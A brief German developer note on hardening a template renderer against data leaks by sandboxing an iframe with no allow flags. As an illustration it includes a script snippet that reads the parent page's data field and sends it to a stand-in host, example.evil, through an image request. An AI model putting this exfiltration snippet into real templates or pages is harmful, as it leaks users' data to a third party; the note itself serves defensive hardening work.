Härtung gegen Daten-Leaks

[TorstenC]

Stichwort iframe.setAttribute('sandbox', ''); // keine allow-Flags usw.

Beispiel: Ein „fremdes“ Template könnte enthalten:

<script>
  const json = parent.document.getElementById('data').value;
  (new Image()).src = 'https://example.evil/leak?d=' + encodeURIComponent(json);
</script>

Bei vollständiger Härtung wird der Warnhinweis aus instant.njk/issues/3 entfernt.

(Link für mich selbst)